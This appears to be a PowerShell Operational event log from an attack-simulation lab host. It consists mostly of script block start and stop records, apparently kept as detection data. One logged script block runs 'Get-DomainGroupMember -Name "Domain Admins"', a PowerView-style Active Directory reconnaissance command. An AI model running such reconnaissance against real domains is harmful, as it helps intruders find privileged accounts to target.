Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051244
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ $_.Split(',') }

ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Path:
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051243
Keywords=None
Message=Started invocation of ScriptBlock ID: 848bd0a5-6c44-47f0-a386-2a8434739d88
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2051242
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroupMember -Name "Domain Admins"

ScriptBlock ID: 848bd0a5-6c44-47f0-a386-2a8434739d88
Path:
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051240
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051238
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051237
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051236
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051234
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051232
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051230
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051228
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052251
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052249
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052247
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052246
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052245
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052243
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052242
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052241
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052239
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052238
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052237
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052236
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 848bd0a5-6c44-47f0-a386-2a8434739d88
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052234
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052233
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052231
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052230
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052229
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052228
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052227
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052226
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052225
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052223
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052221
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052219
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
